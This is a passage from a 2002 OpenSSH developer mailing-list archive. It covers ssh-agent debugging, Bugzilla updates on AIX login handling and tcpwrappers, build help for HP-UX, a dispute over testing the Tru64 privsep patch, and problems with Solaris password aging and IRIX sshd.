debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 3
debug1: type 1
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 1
debug1: type 3
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 1
debug1: type 3
debug1: type 3
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: XXX shrink: 27 < 28
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 3
debug1: type 1
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1

etc.

> what is the soft fd limit?  i see 256 on solaris 8, so that
> wouldn't be an issue.

Same here:

file descriptors           256

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From jos at catnook.com  Sat Aug 24 08:21:28 2002
From: jos at catnook.com (Jos Backus)
Date: Fri, 23 Aug 2002 15:21:28 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <CEDB18D32D8138479D20048AB99CF2EA059B22@NSTMC007PEX1.ubsgs.ubsgroup.net>
References: <CEDB18D32D8138479D20048AB99CF2EA059B22@NSTMC007PEX1.ubsgs.ubsgroup.net>
Message-ID: <20020823222150.GB36718@lizzy.catnook.com>

On Fri, Aug 23, 2002 at 05:05:44PM -0400, Nicolas.Williams at ubsw.com wrote:
> And lsof the agent too - see what files it has open...

This is during a run:

COMMAND     PID USER   FD   TYPE  DEVICE SIZE/OFF     NODE NAME
ssh-agent 10334 josb  cwd   VDIR 256,124   159744  3696064 /home/josb
ssh-agent 10334 josb  txt   VREG   256,2   649464  9789829 /depot (blade:/vol/vo
l11/swdepot/depot/depot-SunOS-5.8-sparc)
ssh-agent 10334 josb  txt   VREG    32,1    17096   337610 /usr/platform/sun4u/l
ib/libc_psr.so.1
ssh-agent 10334 josb  txt   VREG    32,1  1146284    13984 /usr/lib/libc.so.1
ssh-agent 10334 josb  txt   VREG    32,1    24968    13774 /usr/lib/libmp.so.2
ssh-agent 10334 josb  txt   VREG    32,1   898600    14569 /usr/lib/libnsl.so.1
ssh-agent 10334 josb  txt   VREG    32,1    70260    13796 /usr/lib/libsocket.so
.1
ssh-agent 10334 josb  txt   VREG   256,2    66944 11624262 /depot/pkg/zlib-1.1.4
/lib/libz.so.1.1.4
ssh-agent 10334 josb  txt   VREG    32,1     4924    13744 /usr/lib/libdl.so.1
ssh-agent 10334 josb  txt   VREG    32,1   216740    13790 /usr/lib/ld.so.1
ssh-agent 10334 josb    0u  VCHR   24,20  0t10253    27213 /devices/pseudo/pts at 0
:20->ttcompat->ldterm->ptem->pts
ssh-agent 10334 josb    1u  VCHR   24,20  0t10253    27213 /devices/pseudo/pts at 0
:20->ttcompat->ldterm->ptem->pts
ssh-agent 10334 josb    2u  VCHR   24,20  0t10253    27213 /devices/pseudo/pts at 0
:20->ttcompat->ldterm->ptem->pts
ssh-agent 10334 josb    3u  unix  105,55      0t0    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d96520) (Vnode=0x30002d490b0)
ssh-agent 10334 josb    4u  unix  105,67    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30001b5f5f8)
ssh-agent 10334 josb    5u  unix  105,90    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c97468)
ssh-agent 10334 josb   11u  unix  105,76    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c961d8)
ssh-agent 10334 josb   12u  unix  105,91    0t492    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c96f58)
ssh-agent 10334 josb   13u  unix  105,92    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d97b10)
ssh-agent 10334 josb   14u  unix  105,93    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005934a40)
ssh-agent 10334 josb   15u  unix  105,94    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d977b0)
ssh-agent 10334 josb   16u  unix  105,95    0t492    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d97960)
ssh-agent 10334 josb   17u  unix  105,96    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c966e8)
ssh-agent 10334 josb   18u  unix  105,97    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30001b5ed88)
ssh-agent 10334 josb   19u  unix  105,98    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c972b8)
ssh-agent 10334 josb   20u  unix  105,99    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005ced620)
ssh-agent 10334 josb   21u  unix 105,100    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005ced470)
ssh-agent 10334 josb   22u  unix 105,101    0t471    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x300059341d0)
ssh-agent 10334 josb   23u  unix 105,102    0t179    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005934380)
ssh-agent 10334 josb   24u  unix 105,103      0t5    27089 /devices/pseudo/tl at 0:ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d972a0)
ssh-agent 10334 josb   25u  unix 105,104      0t0    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30005c97978)
ssh-agent 10334 josb   26u  unix  105,64      0t0    27089 /devices/pseudo/tl at 0:
ticots->/tmp/ssh-Muh10334/agent.10334 (0x30002d96880)

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From fcusack at fcusack.com  Sat Aug 24 11:40:57 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Fri, 23 Aug 2002 18:40:57 -0700
Subject: The complete answer (was Re: so-called-hang-on-exit)
In-Reply-To: <20020808105403.A452@W0594878>; from Nicolas.Williams@ubsw.com on Thu, Aug 08, 2002 at 10:54:04AM -0400
References: <20020808002737.A2256@NICO> <20020807221250.A12669@google.com> <20020808105403.A452@W0594878>
Message-ID: <20020823184057.G22368@google.com>

BTW, I'm still working on this, but it's going to be awhile.  I went on
vacation (basically) for 2 weeks and I just moved, so I'm connectivity
challenged right now.

/fc


From bugzilla-daemon at mindrot.org  Sat Aug 24 14:13:19 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sat, 24 Aug 2002 14:13:19 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020824041319.79EDC3D14E@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From dtucker at zip.com.au  2002-08-24 14:13 -------
The more I think about it, the more I like J?rg's uid != 0 patch.

Other platforms implement their own login controls for root (eg /etc/securetty 
or /etc/default/login) and sshd ignores them in favour of its own mechanism 
(PermitRootLogin).

I'm in favour of the patch.  If required, you can still disable root logins via 
ssh by setting "PermitRootLogin no".  What's the argument against it?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 18:11:03 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 18:11:03 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020825081103.ECF0A3D155@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355





------- Additional Comments From dtucker at zip.com.au  2002-08-25 18:10 -------
It looks like the call to loginsuccess() fails because it's done as a 
non-privileged user.  This is bad because in addition to generating the message 
it also clears the failed login counter that leads to account lockout.

The following patch fixes it for me but I'm not sure this is the right approach. 
I still don't properly understand privsep...  Would someone who does please 
sanity-check this?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 18:14:34 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 18:14:34 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020825081434.479223D15C@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355





------- Additional Comments From dtucker at zip.com.au  2002-08-25 18:14 -------
Created an attachment (id=140)
 --> (http://bugzilla.mindrot.org/attachment.cgi?id=140&action=view)
Move loginsuccess call into auth.c so it works with privsep on




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 18:17:42 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 18:17:42 +1000 (EST)
Subject: [Bug 385] loginsuccess on AIX fails
Message-ID: <20020825081742.05F823D151@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=385

dtucker at zip.com.au changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |DUPLICATE



------- Additional Comments From dtucker at zip.com.au  2002-08-25 18:17 -------


*** This bug has been marked as a duplicate of 355 ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 18:17:49 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 18:17:49 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020825081749.E8DD13D151@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355

dtucker at zip.com.au changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |genty at us.ibm.com



------- Additional Comments From dtucker at zip.com.au  2002-08-25 18:17 -------
*** Bug 385 has been marked as a duplicate of this bug. ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 18:59:45 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 18:59:45 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020825085945.6CA273D15D@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355





------- Additional Comments From dtucker at zip.com.au  2002-08-25 18:59 -------
Ignore previous patch, it's plain wrong. It clears the counter whether or not 
the login was successful.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sun Aug 25 21:56:50 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun, 25 Aug 2002 21:56:50 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020825115650.34B943D13D@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355

dtucker at zip.com.au changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
 Attachment #140 is|0                           |1
           obsolete|                            |



------- Additional Comments From dtucker at zip.com.au  2002-08-25 21:56 -------
Created an attachment (id=141)
 --> (http://bugzilla.mindrot.org/attachment.cgi?id=141&action=view)
Move loginsuccess to auth-passwd.c

Relocated loginsuccess call as per comments in bugid 385.
Removed unused loginmsg variable.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Mon Aug 26 05:37:49 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Mon, 26 Aug 2002 05:37:49 +1000 (EST)
Subject: [Bug 389] New: Sshdfwd-<port>
Message-ID: <20020825193749.26DE33D149@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=389

           Summary: Sshdfwd-<port>
           Product: Portable OpenSSH
           Version: -current
          Platform: Other
        OS/Version: Linux
            Status: NEW
          Severity: normal
          Priority: P2
         Component: Build system
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: diaolin at diaolin.com


I don't know if it's a bug or if it's not supported by openssh but i don't 
know how to let work a line like this with tcpwrappers enabled: 
--------------hosts.allow-------------------- 
sshd:	ALL 
sshdfwd-3389:	ALL 
ALL:	DENY 
--------------------------------------------- 
 
Ihave seen that the FAQ reports it working but......on Linux it doesn't 
 
Any hint? 
Diaolin



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Mon Aug 26 05:38:03 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Mon, 26 Aug 2002 05:38:03 +1000 (EST)
Subject: [Bug 390] New: Sshdfwd-<port>
Message-ID: <20020825193803.00A543D149@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=390

           Summary: Sshdfwd-<port>
           Product: Portable OpenSSH
           Version: -current
          Platform: Other
        OS/Version: Linux
            Status: NEW
          Severity: normal
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: diaolin at diaolin.com


I don't know if it's a bug or if it's not supported by openssh but i don't 
know how to let work a line like this with tcpwrappers enabled: 
--------------hosts.allow-------------------- 
sshd:	ALL 
sshdfwd-3389:	ALL 
ALL:	DENY 
--------------------------------------------- 
 
Ihave seen that the FAQ reports it working but......on Linux it doesn't 
 
Any hint? 
Diaolin



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From rabani at lucent.com  Mon Aug 26 16:39:33 2002
From: rabani at lucent.com (Ghulam Rabani)
Date: Mon, 26 Aug 2002 09:39:33 +0300
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
Message-ID: <61FFF58533B8D211921C0001FA7E1103042DA457@sr0001exch001u.sa.lucent.com>

Darren (All),

Thanks for your response.

By providing the zlib PATH to the openssh configure script I managed to get
to the stage where the script complains that openssl is not installed (as
expected).

However, after downloading the openssl software, I found to my
disappointment, that I only have the standard HPUX C complier which is not
sufficient to compile the openssl software. Currently, I am in the process
of configuring and compiling the gcc v3.0 complier.

It never rains but pours.

Thanks for your help. I will keep you posted on my progress (or lack of).

Ghulam.

PS - If become a burden just yell out :)



-----Original Message-----
From: Darren Tucker [mailto:dtucker at zip.com.au]
Sent: Monday, August 19, 2002 3:57 PM
To: Ghulam Rabani
Cc: openssh-unix-dev at mindrot.org
Subject: Re: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4


Ghulam Rabani wrote: 
> I've never posted here before but I seem to be having a similar problem to
> what Tim Rice had in July, namely when running the configure script I get
> the following:
> 
> configure: error: *** zlib missing - please install first or check
> config.log ***
> 
> However, I have definitely installed zlib (see below):

Firstly, 3.0 has at least one known remotely exploitable security
vulnerability. You should probably get 3.4p1. (eg
ftp://ftp.ca.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz)

My guess is that zlib is installed someplace where configure doesn't
automatically look. Try ./configure --with-zlib=/opt/zlib (or wherever
your package put the libz.a file).

> I haven't installed openssl as I can't get access to www.openssl.org. Is
> that the reason?

Dunno, but you won't be able to build without openssl. You can get it
from a mirror (eg
ftp://ftp.ca.openbsd.org/pub/Mirror/Crypto/OpenSSL/openssl-0.9.6g.tar.gz).

Keven Steves has put up a how-to for building OpenSSH on HP-UX. It's at
http://www.atomicgears.com/papers/osshhpux.html

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From mouring at etoh.eviladmin.org  Wed Aug 28 11:46:13 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 27 Aug 2002 20:46:13 -0500 (CDT)
Subject: Tru64 patch won't make it into 3.5 due to lack of interest.
Message-ID: <Pine.BSO.4.44.0208272014310.2234-100000@etoh.eviladmin.org>

Tru64 patch will not make it into 3.5 (this is final) due to lack of
willing people to test.  I have given the Tru64/osf1 community almost a
month to test it.  And *ONE* person came forward to give me verification.

And don't give me shit about "I don't have time."  The person who tested
it was LEAVING his employer with Tru64.  He found time.

IT IS YOUR GAWD DAMN PLATFORM.  IF YOU DON'T CARE ENOUGH TO SUPPORT WHAT
YOU USE (OR DEVELOP) THEN YOU HAVE ONLY YOURSELF TO BLAME.

Sorry kids, if you don't care.  Nor do I.  I won't be doing any more work
for Tru64 platform.  I'd rather work with the AIX or Cygwin developers
since they care about their systems and are quick to respond and quick to
ensure their platform is solid.

When two more people give a damn about Tru64 and sends the results of a
regess/ on tru64 w/ privsep enabled with the last published patch.  I'll
include it for 3.6.

- Ben
I'm an asshole.  People have pointed it out, but I'm a useful asshole.



From POTTERVELD at ANLMEP.PHY.ANL.GOV  Wed Aug 28 17:18:39 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Wed, 28 Aug 2002 2:18:39 -0500
Subject: Tru64 patch won't make it into 3.5 due to lack of interest.
Message-ID: <020828021839.2020013d@ANLMEP.PHY.ANL.GOV>

Hi Ben,

I just discovered your patch for Tru64 privsep problems when SIA (enhanced
security) is enabled. I only just got around to trying 3.4p1 and privsep
on this platform today. I'll see if I can make headway with testing your
patch tomorrow. Sorry if there hasn't been much response from what's left
of the community...Sometimes it seems like there's nobody left after
DEC/Compaq (/HP?) mismanagement, but hey, Mozilla is supporting Tru64, and
even OpenVMS! Maybe you can get their development team interested. I'm
definitely interested in supporting OpenSSH on Tru64 because we still use
this platform in a big way.

David Potterveld


From dtucker at zip.com.au  Wed Aug 28 21:02:03 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 28 Aug 2002 21:02:03 +1000
Subject: Regression tests (was: Tru64 patch)
References: <Pine.BSO.4.44.0208272014310.2234-100000@etoh.eviladmin.org>
Message-ID: <3D6CADAB.2B932E1@zip.com.au>

Ben Lindstrom wrote:
[flame snipped]
> When two more people give a damn about Tru64 and sends the results of a
> regess/ on tru64 w/ privsep enabled with the last published patch.  I'll
> include it for 3.6.

Whew, is it warm in here or is it just me :-?

Speaking of the regression tests, are there any plans to make them more
portable?  The existing ones in -cvs aren't completely functional
out-of-the-box on over half the platforms I have access to.

Works: OpenBSD, Linux.
Doesn't: AIX, HP-UX, Solaris.

There's patches floating around (by Roumen Petrov and myself) to address
this.  I'm prepared to roll up all of the changes and suggestions in the
following threads if there's some interest in merging the result.

http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=102734348721347
http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=102760388201413

		-Daz.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From quellyn at lanl.gov  Thu Aug 29 02:02:45 2002
From: quellyn at lanl.gov (Quellyn Snead)
Date: Wed, 28 Aug 2002 10:02:45 -0600
Subject: privsep+kerb5+ssh1
In-Reply-To: <3D6CF152.1030601@lanl.gov>
Message-ID: <5.1.0.14.2.20020828095113.00b68748@cic-mail.lanl.gov>

Hi,

We have tested the patch with krb5, and it works with forwardable and 
non-forwardable tickets. Thanks Olaf!

Also, we submitted a short fix for the -k option a few weeks back. Just 
thought you should know that we have tested it with protocol 1 and 2. All 
cases seem to be working.

Quellyn

At 09:50 AM 8/28/2002 -0600, you wrote:
>please test Olaf Kirch's patch. it looks fine to me, but i don't to K5.
>
>i'd like to see this in the next release. thx
>
>-m

*****************************************************************
Quellyn L. Snead
CCN-2 Enterprise Software Management Team
Los Alamos National Laboratory
Schedule B
(505) 667-4185 Office
*****************************************************************



From harbaugh at nciaxp.ncifcrf.gov  Thu Aug 29 03:07:50 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Wed, 28 Aug 2002 13:07:50 -0400 (EDT)
Subject: interested tru64 unix person - privsep patch against 3.4p1 + howto
 /regress
Message-ID: <Pine.OSF.4.10.10208281257520.10937-100000@nciaxp.ncifcrf.gov>

Hi-

Unfortunately, I just found out about the patch that was available for
tru64 privsep.  I was entirely unaware that there was a lack of support.

Will the patch be considered for approval if it is applied to 3.4p1, or does
it have to be done against -current?  The reason I'm asking is that I
have 3.4p1 working as is, so I know if I have a problem it is likely
related to the patch and not some unknown.
 
Also, can someone point me to quick and dirty instructions for the /regress
stuff?

Thanks,
Toni

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From amulyap at getsmart.com  Thu Aug 29 04:32:59 2002
From: amulyap at getsmart.com (Amulya Parthasarathy)
Date: Wed, 28 Aug 2002 11:32:59 -0700
Subject: (no subject)
Message-ID: <4F596388B2186E4DB4CECC512293E5DEF6C0@GSEXCLS.getsmart.uun>



From amulyap at getsmart.com  Thu Aug 29 04:36:09 2002
From: amulyap at getsmart.com (Amulya Parthasarathy)
Date: Wed, 28 Aug 2002 11:36:09 -0700
Subject: password aging problem with ssh protocol 2
Message-ID: <4F596388B2186E4DB4CECC512293E5DEF6C1@GSEXCLS.getsmart.uun>

Hi,
I'm using openssh3.1p1 and I'm having some problem with password aging
with ssh protocol 2. Every time a password expires and I try to login I
get the following message 

ssh username at hostname
username at hostname's password: 
Warning: Your password has expired, please change it now
Enter login password: 
removing root credentials would break the rpc services that
use secure rpc on this host!
root may use keylogout -f to do this (at your own risk)!
Connection to hostname closed by remote host.
Connection to hostname closed.

But when ssh into the same server using ssh -1 username at hostname it
works just fine.
ssh -1 username at hostname
username at hostname's password: 
Warning: Your password has expired, please change it now
Enter login password: 
New password: 
Re-enter new password: 
sshd (SYSTEM): passwd successfully changed for username
Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65

Can anybody help me how to get this working for protocol 2.

Thanks
R/Amulya



From david.r.steiner at Dartmouth.EDU  Thu Aug 29 05:32:57 2002
From: david.r.steiner at Dartmouth.EDU (David Steiner)
Date: Wed, 28 Aug 2002 15:32:57 -0400
Subject: sshd problems openssh3.4p1 on 6.5.17
Message-ID: <a05111b10b9918f2cd713@[129.170.18.88]>

Greetings,

I have run into a rather bizarre problem that is beyond my meager 
skills to debug so I am turning to the collective wisdom of this list.


Here are the facts:

2 SGI machines (alpha running IRIX 6.5.15 & beta running 6.5.14) 
running openssh-3.4p1. ssh was built on each machine using the same 
configuration and were working fine.

I upgraded the OS on alpha to 6.5.17 and ran into no problems with sshd.

After upgrading beta to 6.5.17, we found that machines with hostnames 
with the pattern, name.something.dartmouth.edu were denied access by 
the tcp-wrapper code in sshd (determined by running sshd in debug 
mode). It appears to think that these connections come from 
255.255.255.255 (determined by syslog entries). If I add 
255.255.255.255 to the hosts.allow, connections are allowed.

Machines with hostnames like name.dartmouth.edu do not have any 
problems connecting.

This is what I have done so far:

As stated above, sshd on beta was originally compiled under 6.5.14, 
on alpha under 6.5.15. Everything else about the build is the same 
except the binary on beta was not stripped (this does not seem to be 
a factor as you will see).

I moved the sshd binary compiled on alpha to beta and named it sshd.a

I tested sshd.a in debug mode on port 2222 and found that the problem 
disappears.

Thinking that the workaround would be to use alpha's binary on beta, 
I copied sshd (original beta binary) to sshd.b and sshd.a to sshd and 
restarted the daemon. I was unable to login from a machine with a 
problematic hostname (somehost.somewhere.dartmouth.edu).

Since it now looks like the problem is related to being either in 
debug vs. daemon or port 22 vs 2222, I ran test for the various 
combinations:

	    |	sshd.b   |    sshd.a
-----------------------------------------
debug/2222  |  works	 |   works
-----------------------------------------
daemon/2222 |  works 	 |   works
-----------------------------------------
debug/22    |  works	 |   works
-----------------------------------------
daemon/22   |  works	 |   works
-----------------------------------------

In the off chance that I got confused somewhere, I then copied the 
same sshd.a binary used in the tests above to sshd and started it up. 
It does not work.

Conclusion:

There is something in the 3.4p1 code in conjunction with the upgrade 
to 6.5.17 that causes sshd to break based on the name that it runs 
under.

As a workaround, I have started the daemon on beta using the binary 
named sshd.a.

I would appreciate any help anyone can offer. If you need additional 
data, just let me know.

TIA.
-- 
David R. Steiner                               david.r.steiner at dartmouth.edu
UNIX System Manager                            Phone:  603.646.3127
Dartmouth College                              Fax:     603.646.1041


From amulyap at getsmart.com  Thu Aug 29 05:43:50 2002
From: amulyap at getsmart.com (Amulya Parthasarathy)
Date: Wed, 28 Aug 2002 12:43:50 -0700
Subject: password aging problem with ssh protocol 2
Message-ID: <4F596388B2186E4DB4CECC512293E5DEF6C3@GSEXCLS.getsmart.uun>

Scott,
I an running this on SunOS  5.8 Generic_108528-12 sun4u sparc
SUNW,Ultra-Enterprise. My configuration for sshd_config look like this.

Port 22
Protocol 2,1
ListenAddress 0.0.0.0
HostKey /usr/local/etc/ssh_host_key
HostKey /usr/local/etc/ssh_host_rsa_key
HostKey /usr/local/etc/ssh_host_dsa_key
KeyRegenerationInterval 3600
ServerKeyBits 768
SyslogFacility LOCAL7
LogLevel INFO
LoginGraceTime 600
PermitRootLogin no
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
RhostsAuthentication no
IgnoreRhosts yes
RhostsRSAAuthentication no
HostbasedAuthentication no
PasswordAuthentication yes
PermitEmptyPasswords no
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
KeepAlive yes
Banner /etc/issue
Subsystem       sftp    /usr/local/libexec/sftp-server

R/Amulya

-----Original Message-----
From: Scott Burch [mailto:scott.burch at camberwind.com]
Sent: Wednesday, August 28, 2002 12:22 PM
To: Amulya Parthasarathy
Cc: openssh-unix-dev at mindrot.org
Subject: Re: password aging problem with ssh protocol 2


Amulya,

This will only work on Solaris 8 with the version of OpenSSH you are 
running. Password aging will only work on Solaris 2.6 with current 
snapshots if you are not using privilege separation. If you are using 
privilege separation on the current release or snapshots I don't believe

password aging works with any version of Solaris. Someone can correct me

if I'm wrong. The main problem is that PAM on Linux and other open 
source operating systems has diverged substantially from PAM on Solaris 
(where it originated)...most PAM operations on Solaris need to run as 
root ...there was some discussion about this some time ago. I don't know

if anyone is currently working on code to resolve these issues.

-Scott

Amulya Parthasarathy wrote:

>Hi,
>I'm using openssh3.1p1 and I'm having some problem with password aging
>with ssh protocol 2. Every time a password expires and I try to login I
>get the following message 
>
>ssh username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>removing root credentials would break the rpc services that
>use secure rpc on this host!
>root may use keylogout -f to do this (at your own risk)!
>Connection to hostname closed by remote host.
>Connection to hostname closed.
>
>But when ssh into the same server using ssh -1 username at hostname it
>works just fine.
>ssh -1 username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>New password: 
>Re-enter new password: 
>sshd (SYSTEM): passwd successfully changed for username
>Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65
>
>Can anybody help me how to get this working for protocol 2.
>
>Thanks
>R/Amulya
>
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>
>  
>





From scott.burch at camberwind.com  Thu Aug 29 05:21:32 2002
From: scott.burch at camberwind.com (Scott Burch)
Date: Wed, 28 Aug 2002 14:21:32 -0500
Subject: password aging problem with ssh protocol 2
References: <4F596388B2186E4DB4CECC512293E5DEF6C1@GSEXCLS.getsmart.uun>
Message-ID: <3D6D22BC.4060008@camberwind.com>

Amulya,

This will only work on Solaris 8 with the version of OpenSSH you are 
running. Password aging will only work on Solaris 2.6 with current 
snapshots if you are not using privilege separation. If you are using 
privilege separation on the current release or snapshots I don't believe 
password aging works with any version of Solaris. Someone can correct me 
if I'm wrong. The main problem is that PAM on Linux and other open 
source operating systems has diverged substantially from PAM on Solaris 
(where it originated)...most PAM operations on Solaris need to run as 
root ...there was some discussion about this some time ago. I don't know 
if anyone is currently working on code to resolve these issues.

-Scott

Amulya Parthasarathy wrote:

>Hi,
>I'm using openssh3.1p1 and I'm having some problem with password aging
>with ssh protocol 2. Every time a password expires and I try to login I
>get the following message 
>
>ssh username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>removing root credentials would break the rpc services that
>use secure rpc on this host!
